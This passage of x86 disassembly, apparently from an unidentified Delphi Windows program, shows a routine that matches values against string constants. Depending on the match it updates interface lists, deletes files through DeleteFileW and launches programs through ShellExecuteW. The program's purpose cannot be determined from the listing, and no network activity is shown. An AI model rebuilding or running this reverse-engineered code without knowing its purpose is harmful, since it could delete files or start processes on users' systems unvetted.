mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x288]
mov edx, 0x5aca98
call fcn.00407ecc
jne 0x5a9eca
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5acac0
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ebx, dword [eax + 0x2c0]
dec ebx
test ebx, ebx
jle 0x5a9e8c
mov esi, 1
lea eax, [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, esi
mov edx, 6
call fcn.004ff124
mov eax, dword [ebp - 0x28c]
mov edx, 0x5abe58
call fcn.00407ecc
jne 0x5a9e88
mov dword [ebp - 0x2c], 1
inc esi
dec ebx
jne 0x5a9e53
cmp dword [ebp - 0x2c], 0
jne 0x5a9eaf
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a9eca
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x290]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x290]
mov edx, 0x5acb04
call fcn.00407ecc
jne 0x5aa05c
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 4], 0
je 0x5a9f2c
mov eax, dword [ebp - 4]
call fcn.00407880
push eax
call sub.kernel32.dll_DeleteFileW
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5acb24
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ebx, dword [eax + 0x2c0]
dec ebx
test ebx, ebx
jle 0x5a9fa1
mov esi, 1
lea eax, [ebp - 0x294]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, esi
mov edx, 6
call fcn.004ff124
mov eax, dword [ebp - 0x294]
mov edx, 0x5abdb4
call fcn.00407ecc
jne 0x5a9f9d
mov dword [ebp - 0x28], 1
inc esi
dec ebx
jne 0x5a9f68
cmp dword [ebp - 0x28], 0
jne 0x5a9fc4
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a9fdf
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 0x28], 1
jne 0x5a9ffa
mov eax, dword [0x5c3868]
mov eax, dword [eax + 0x4d0]
mov edx, 0x5ab840
call fcn.004bcc0c
cmp dword [ebp - 0x28], 1
jne 0x5aa039
cmp dword [0x5c389c], 0
je 0x5aa01a
mov eax, dword [0x5c3878]
mov edx, 0x5acb58
call fcn.00407ecc
je 0x5aa039
mov eax, dword [0x5c3868]
mov eax, dword [eax + 0x4d0]
mov edx, 0x5ab840
call fcn.004bcc0c
mov eax, 1
call fcn.00406954
cmp dword [ebp - 0x28], 0
jne 0x5aa05c
cmp dword [ebp - 4], 0
je 0x5aa05c
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x3d4]
mov eax, dword [eax + 0x1b0]
mov edx, dword [ebp - 4]
call fcn.00461d94
lea eax, [ebp - 0x298]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x298]
mov edx, 0x5acb7c
call fcn.00407ecc
jne 0x5aa1f3
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 4], 0
je 0x5aa0be
mov eax, dword [ebp - 4]
call fcn.00407880
push eax
call sub.kernel32.dll_DeleteFileW
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5acb24
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ebx, dword [eax + 0x2c0]
dec ebx
test ebx, ebx
jle 0x5aa133
mov esi, 1
lea eax, [ebp - 0x29c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, esi
mov edx, 6
call fcn.004ff124
mov eax, dword [ebp - 0x29c]
mov edx, 0x5abdb4
call fcn.00407ecc
jne 0x5aa12f
mov dword [ebp - 0x28], 1
inc esi
dec ebx
jne 0x5aa0fa
cmp dword [ebp - 0x28], 0
jne 0x5aa156
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5aa171
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 0x28], 1
jne 0x5aa18c
mov eax, dword [0x5c3868]
mov eax, dword [eax + 0x4d0]
mov edx, 0x5ab840
call fcn.004bcc0c
cmp dword [ebp - 0x28], 1
jne 0x5aa1d0
cmp dword [0x5c389c], 0
je 0x5aa1ac
mov eax, dword [0x5c3878]
mov edx, 0x5acb58
call fcn.00407ecc
je 0x5aa1d0
mov eax, dword [0x5c3868]
mov eax, dword [eax + 0x4d0]
mov edx, 0x5ab840
call fcn.004bcc0c
mov eax, dword [0x5c3868]
call fcn.004e8b68
jmp 0x5ab6dd
cmp dword [ebp - 0x28], 0
jne 0x5aa1f3
cmp dword [ebp - 4], 0
je 0x5aa1f3
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x3d4]
mov eax, dword [eax + 0x1b0]
mov edx, dword [ebp - 4]
call fcn.00461d94
lea eax, [ebp - 0x2a0]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x2a0]
mov edx, 0x5acba0
call fcn.00407ecc
jne 0x5aa39f
cmp byte [0x5c38dd], 0
je 0x5aa2d5
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
call fcn.004bcc0c
lea eax, [ebp - 0x2a4]
push eax
mov ecx, 0x5abcbc
mov edx, 0x5abcd0
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x2a4]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x38c]
call fcn.004bcc0c
cmp dword [ebp - 0x14], 0
je 0x5aa2a9
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5aa39f
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
cmp byte [eax + 0x59], 0
jne 0x5aa2ee
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
call fcn.004e8b68
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
call fcn.004bcc0c
lea eax, [ebp - 0x2a8]
push eax
mov ecx, 0x5abcbc
mov edx, 0x5abcd0
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x2a8]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x38c]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
xor edx, edx
call fcn.004bcc0c
cmp dword [ebp - 0x14], 0
je 0x5aa39f
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
lea eax, [ebp - 0x2ac]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x2ac]
mov edx, 0x5acbb8
call fcn.00407ecc
jne 0x5aa525
lea eax, [ebp - 0x2b0]
push eax
mov ecx, 0x5abcbc
mov edx, 0x5abcd0
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x2b0]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x390]
xor edx, edx
call fcn.004bcaf4
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c4]
mov dl, 1
call fcn.004bcaf4
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3cc]
mov edx, dword [ebp - 4]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, 0x5acbe0
call fcn.005a07e8
lea edx, [ebp - 0x2b4]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3cc]
call fcn.004bcbd4
cmp dword [ebp - 0x2b4], 0
je 0x5aa4ba
lea edx, [ebp - 0x2b8]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3cc]
call fcn.004bcbd4
mov edx, dword [ebp - 0x2b8]
mov eax, 0x5c38c8
call fcn.004077f4
lea edx, [ebp - 0x2bc]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3cc]
call fcn.004bcbd4
mov edx, dword [ebp - 0x2bc]
mov eax, 0x5c38c8
call fcn.004077f4
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x390]
mov dl, 1
call fcn.004bcaf4
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c4]
xor edx, edx
call fcn.004bcaf4
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x2c0]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x2c0]
mov edx, 0x5acbfc
call fcn.00407ecc
jne 0x5aa688
mov eax, dword [ebp - 4]
call fcn.005a6c90
test al, al
jne 0x5aa5fc
lea eax, [ebp - 0x2c4]
push eax
mov ecx, 0x5abcbc
mov edx, 0x5abcd0
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x2c4]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x390]
xor edx, edx
call fcn.004bcaf4
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 4]
call fcn.005a07e8
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5aa688
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
xor eax, eax
push ebp
push 0x5aa663
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00415898
call fcn.00596578
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5aa688
lea eax, [ebp - 0x2c8]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x2c8]
mov edx, 0x5acc14
call fcn.00407ecc
jne 0x5aa7a9
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 4], 0
je 0x5aa738
lea edx, [ebp - 0x2d0]
mov eax, dword [ebp - 4]
call fcn.00416704
mov ecx, dword [ebp - 0x2d0]
lea eax, [ebp - 0x2cc]
mov edx, 0x5acc2c
call fcn.00407cc8
mov edx, dword [ebp - 0x2cc]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 4]
call fcn.00599b14
cmp dword [ebp - 8], 0
je 0x5aa78e
lea edx, [ebp - 0x2d8]
mov eax, dword [ebp - 8]
call fcn.00416704
mov ecx, dword [ebp - 0x2d8]
lea eax, [ebp - 0x2d4]
mov edx, 0x5acc2c
call fcn.00407cc8
mov edx, dword [ebp - 0x2d4]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 8]
call fcn.00599b14
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x2dc]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x2dc]
mov edx, 0x5acc54
call fcn.00407ecc
jne 0x5aa8dc
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x2e0]
mov ecx, dword [ebp - 4]
mov edx, 0x5acc74
call fcn.00407cc8
mov edx, dword [ebp - 0x2e0]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 4]
call fcn.0050e1a4
test al, al
jne 0x5aa88a
mov eax, dword [ebp - 4]
call fcn.0050e1ac
test al, al
je 0x5aa86f
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5aa88a
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [ebp - 4]
call fcn.0050e1a4
test al, al
je 0x5aa8b1
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 4], 0
jne 0x5aa8dc
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, 0x5acca8
call fcn.004a316c
lea eax, [ebp - 0x2e4]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x2e4]
mov edx, 0x5acce0
call fcn.00407ecc
jne 0x5aaa2c
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea edx, [ebp - 0x2ec]
mov eax, dword [ebp - 4]
call fcn.00416704
mov ecx, dword [ebp - 0x2ec]
lea eax, [ebp - 0x2e8]
mov edx, 0x5accf4
call fcn.00407cc8
mov edx, dword [ebp - 0x2e8]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 4]
call fcn.00599f20
test al, al
je 0x5aa9a7
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5aaa01
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea edx, [ebp - 0x2f0]
mov eax, dword [ebp - 4]
call fcn.00416744
cmp dword [ebp - 0x2f0], 0
jne 0x5aa9f9
lea eax, [ebp - 0x2f4]
mov ecx, 0x5acd1c
mov edx, dword [ebp - 4]
call fcn.00407cc8
mov eax, dword [ebp - 0x2f4]
call fcn.00599ca8
jmp 0x5aaa01
mov eax, dword [ebp - 4]
call fcn.00599ca8
cmp dword [ebp - 4], 0
jne 0x5aaa2c
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, 0x5acca8
call fcn.004a316c
lea eax, [ebp - 0x2f8]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x2f8]
mov edx, 0x5acd34
call fcn.00407ecc
jne 0x5aab67
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x2fc]
mov ecx, dword [ebp - 4]
mov edx, 0x5acd4c
call fcn.00407cc8
mov edx, dword [ebp - 0x2fc]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 8]
call fcn.00407880
mov edx, eax
lea eax, [ebp - 0x300]
call fcn.004079a0
mov eax, dword [ebp - 0x300]
push eax
mov eax, dword [ebp - 4]
call fcn.00407880
mov edx, eax
lea eax, [ebp - 0x304]
call fcn.004079a0
mov eax, dword [ebp - 0x304]
pop edx
call fcn.0059a494
test al, al
je 0x5aab1b
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5aab36
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 4], 0
je 0x5aab42
cmp dword [ebp - 8], 0
jne 0x5aab67
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, 0x5acd7c
call fcn.004a316c
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x308]
mov edx, 0x5acdc4
call fcn.00407ecc
jne 0x5aac71
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea edx, [ebp - 0x310]
mov eax, dword [ebp - 4]
call fcn.00416704
mov ecx, dword [ebp - 0x310]
lea eax, [ebp - 0x30c]
mov edx, 0x5acddc
call fcn.00407cc8
mov edx, dword [ebp - 0x30c]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 5
push 0
mov eax, dword [ebp - 8]
call fcn.00407880
push eax
mov eax, dword [ebp - 4]
call fcn.00407880
push eax
push 0x5acdf8
mov eax, dword [0x5c3868]
call fcn.004c5b20
push eax
call sub.shell32.dll_ShellExecuteW
cmp eax, 0x1f
jbe 0x5aac56
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5aac71
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x314]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x314]
mov edx, 0x5ace10
call fcn.00407ecc
jne 0x5aaed3
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 0x14], 0
jne 0x5aad10
push 0x5ace28
lea edx, [ebp - 0x31c]
mov eax, dword [ebp - 4]
call fcn.00416704
push dword [ebp - 0x31c]
push 0x5abd60
push dword [ebp - 8]
lea eax, [ebp - 0x318]
mov edx, 4
call fcn.00407dac
mov edx, dword [ebp - 0x318]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
jmp 0x5aad25
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
lea edx, [ebp - 0x324]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x324]
lea edx, [ebp - 0x320]
call fcn.00414b0c
mov eax, dword [ebp - 0x320]
push eax
lea edx, [ebp - 0x328]
mov eax, 0x5ace4c
call fcn.00414b0c
mov edx, dword [ebp - 0x328]
pop eax
call fcn.00407ecc
je 0x5aadf5
lea edx, [ebp - 0x330]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x330]
lea edx, [ebp - 0x32c]
call fcn.00414b0c
mov eax, dword [ebp - 0x32c]
push eax
lea edx, [ebp - 0x334]
mov eax, 0x5ace74
call fcn.00414b0c
mov edx, dword [ebp - 0x334]
pop eax
call fcn.00407ecc
je 0x5aadf5
lea edx, [ebp - 0x33c]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x33c]
lea edx, [ebp - 0x338]
call fcn.00414b0c
mov eax, dword [ebp - 0x338]
push eax
lea edx, [ebp - 0x340]
mov eax, 0x5ace9c
call fcn.00414b0c
mov edx, dword [ebp - 0x340]
pop eax
call fcn.00407ecc
jne 0x5aae0c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5acec0
call fcn.004bcc0c
cmp dword [ebp - 0x14], 0
je 0x5aae27
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x344]
mov edx, dword [ebp - 8]
call fcn.00407a70
mov eax, dword [ebp - 0x344]
push eax
lea eax, [ebp - 0x348]
mov edx, dword [ebp - 4]
call fcn.00407a70
mov eax, dword [ebp - 0x348]
mov cx, 5
pop edx
call fcn.0059abfc
test al, al
je 0x5aae97
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5aaeb2
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 0x30], 0
je 0x5aaed3
push 0x5abe58
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x34c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x34c]
mov edx, 0x5abd20
call fcn.00407ecc
jne 0x5ab110
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 0x14], 0
jne 0x5aaf72
push 0x5ace28
lea edx, [ebp - 0x354]
mov eax, dword [ebp - 4]
call fcn.00416704
push dword [ebp - 0x354]
push 0x5abd60
push dword [ebp - 8]
lea eax, [ebp - 0x350]
mov edx, 4
call fcn.00407dac
mov edx, dword [ebp - 0x350]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
jmp 0x5aaf87
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
lea edx, [ebp - 0x35c]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x35c]
lea edx, [ebp - 0x358]
call fcn.00414b0c
mov eax, dword [ebp - 0x358]
push eax
lea edx, [ebp - 0x360]
mov eax, 0x5ace4c
call fcn.00414b0c
mov edx, dword [ebp - 0x360]
pop eax
call fcn.00407ecc
je 0x5ab057
lea edx, [ebp - 0x368]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x368]
lea edx, [ebp - 0x364]
call fcn.00414b0c
mov eax, dword [ebp - 0x364]
push eax
lea edx, [ebp - 0x36c]
mov eax, 0x5ace74
call fcn.00414b0c
mov edx, dword [ebp - 0x36c]
pop eax
call fcn.00407ecc
je 0x5ab057
lea edx, [ebp - 0x374]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x374]
lea edx, [ebp - 0x370]
call fcn.00414b0c
mov eax, dword [ebp - 0x370]
push eax
lea edx, [ebp - 0x378]
mov eax, 0x5ace9c
call fcn.00414b0c
mov edx, dword [ebp - 0x378]
pop eax
call fcn.00407ecc
jne 0x5ab06e
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5acec0
call fcn.004bcc0c
cmp dword [ebp - 0x14], 0
je 0x5ab089
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
lea eax, [ebp - 0x37c]
mov edx, dword [ebp - 8]
call fcn.00407a70
mov eax, dword [ebp - 0x37c]
push eax
lea eax, [ebp - 0x380]
